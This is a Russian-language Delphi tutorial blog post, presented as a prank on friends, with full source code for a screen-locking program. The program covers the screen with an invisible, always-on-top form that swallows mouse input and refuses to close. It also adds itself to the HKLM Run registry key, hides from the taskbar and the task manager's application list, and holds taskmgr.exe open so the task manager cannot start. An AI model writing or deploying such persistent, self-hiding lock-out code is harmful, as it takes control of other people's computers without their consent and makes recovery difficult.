Блокируем рабочий стол за 5 минут средствами Delphi

Сейчас я покажу вам как можно подшутить над своими друзьями на парах в университете, уроках по информатике в школе или просто на домашнем компьютере друга. Шутка совсем не сложная и рассчитана на новичков в программировании на Delphi (ну или на гуру программирования, обделенного фантазией). Все, что нам для этого нужно – это Delphi и компьютер. Обычно в таких предложения пишут еще и “прямые руки”, но для этой шутки подойдут и кривые.

Задача состоит в следующем:

-Пользователь или же мы сами запускаем программу один раз и после этого она запускается постоянно, пока мы ее не отключим;

-Пользователь не видит никаких изменений, но его манипуляции мышкой не приводят ни к какой реакции компьютера.

-Ну и конечно нам нужно спрятать программку, что отключить ее было не так легко

Итак приступим. Для начала создаем новый проект в Delphi и в обработчике событий TForm1.FormCreate (нажмите два раза мышкой на новой форме) прописываем все настройки:
Form1.Width:=Screen.Width;
Form1.Height:=Screen.Height;
Form1.AlphaBlend:=true;
Form1.AlphaBlendValue:=1;
Form1.Left:=0;
Form1.Top:=0;
Form1.FormStyle:=fsStayOnTop;
Form1.BorderStyle:=bsNone;

Код более чем понятный. Кто не понял, кратенько объясню. Первые две строчки кода придают нашей форме размер экрана пользователя. Следующие две строчки делают нашу форму невидимой. Дальше две строки перемещают нашу программу в верхний левый угол. Ну и последние две строчки ставят форму поверх всех других и делают так, чтобы нашу программу нельзя было сжать мышкой, схватив ее за край формы.

Если сейчас вы запустите все это, то заметите, что на панели задач появилась наша программа. Щелканья мышью по экрану не дадут никаких результатов. Происходит это потому что вы щелкаете по невидимой форме только что написанной программы. Теперь нужно сделать, чтобы программу нельзя было закрыть. Для этого в “Object Inspector” в Delphi перейдите на вкладку “Events”. Найдите там надпись OnCloseQuery. Нажмите два раза мышкой и пропишите следующий код:
CanClose:=False;

Этим мы говорим нашей программе, что она не должна закрываться.

Прописываем программу в автозапуск и прячем ее от пользователя

Сейчас нам нужно сделать так, чтобы программа запускалась постоянно при запуске операционной системы. Для этого воспользуемся реестром. (Кто не знает что такое реестр goto википедия).

Чтобы прописать программу в автозагрузку обычно используют ключ:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run


Чтобы работать с реестром сначала нужно подключить модуль Registry. В самом начале программного кода есть такая надпись “uses”. Через запятую допишите туда Registry. Теперь идем в FormClose и объявляем переменную reg типа Tregistry. Для этого после строки “procedure TForm1.FormActivate(Sender: TObject);” пишем:
Var

reg:Tregistry;

Begin

reg := TRegistry.Create();

reg.RootKey := HKEY_LOCAL_MACHINE;

reg.OpenKey(‘Software\Microsoft\Windows\CurrentVersion\Run’, True);

reg.WriteString( Application.Title, Application.ExeName);

reg.CloseKey();

reg.Free;

end;

Теперь необходимо спрятать программу, чтобы юзер ни о чем не догадался. Для этого все в том же TForm1.FormActivate пропишите следующую строчку:
ShowWindow(Application.Handle,0);

После этого нашу программу не видно в “Панели задач” и в “Диспетчере задач” на вкладке “Приложения”. На вкладке “Процессы” она все равно останется видна, но с этим мы разберемся позже.

Отключаем диспетчер задач и делаем программу поверх всех окон

Итак программу мы спрятали, в автозапуск прописали…Теперь делаем невозможным запуск “Диспетчера задач”. Для этого в TForm1.FormCreate в любом месте между begin и end пишем строчку:
fileopen(‘с:\windows\system32\taskmgr.exe’,fmshareexclusive);

После этого юзер не сможет отключить нашу программу. Остался последний шаг: сделать программу поверх всех окон, причем постоянно. Для этого ставим на форму таймер (вкладка “system->Timer”). Щелкаем по нему два раза мышкой и пишем строчку:
SetWindowPos(Form1.Handle,HWND_TOPMOST,0,0,0,0,SWP_NOMOVE or SWP_NOSIZE);

В “Object Inspector” на вкладке “Properties” изменяем параметр “interval” c 1000 на 100. Ну или 10. Сами поэкспериментируете. Вот вроде и все. Полный код:
unit Unit1;


interface


uses

Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,

Dialogs, ExtCtrls, Registry;


type

TForm1 = class(TForm)

Timer1: TTimer;

procedure FormActivate(Sender: TObject);

procedure FormCreate(Sender: TObject);

procedure Timer1Timer(Sender: TObject);

procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);

private

{ Private declarations }

public

{ Public declarations }

end;


var

Form1: TForm1;


implementation


{$R *.dfm}


procedure TForm1.FormActivate(Sender: TObject);

Var

reg:Tregistry;

begin

ShowWindow(Application.Handle,SW_HIDE);

reg := TRegistry.Create();

reg.RootKey := HKEY_LOCAL_MACHINE;

reg.OpenKey(‘Software\Microsoft\Windows\CurrentVersion\Run’, True);

reg.WriteString( Application.Title, Application.ExeName);

reg.CloseKey();

reg.Free;

end;


procedure TForm1.FormCreate(Sender: TObject);

begin

Form1.Width:=Screen.Width;

Form1.Height:=Screen.Height;

Form1.AlphaBlend:=true;

Form1.AlphaBlendValue:=1;

Form1.Left:=0;

Form1.Top:=0;

Form1.FormStyle:=fsStayOnTop;

Form1.BorderStyle:=bsNone;

Fileopen(‘d:\windows\system32\taskmgr.exe’,fmshareexclusive);

end;


procedure TForm1.Timer1Timer(Sender: TObject);

begin

SetWindowPos(Form1.Handle,HWND_TOPMOST,0,0,0,0,SWP_NOMOVE or SWP_NOSIZE);

end;


procedure TForm1.FormCloseQuery(Sender: TObject; var CanClose: Boolean);

begin

CanClose:=false;

end;



end.
Теги:
рабочий стол, блокировать
Добавлено: 20 Сентября 2013 06:14:08 Добавил: Андрей Ковальчук Нравится 0
Добавить
Комментарии:
Нету комментариев для вывода...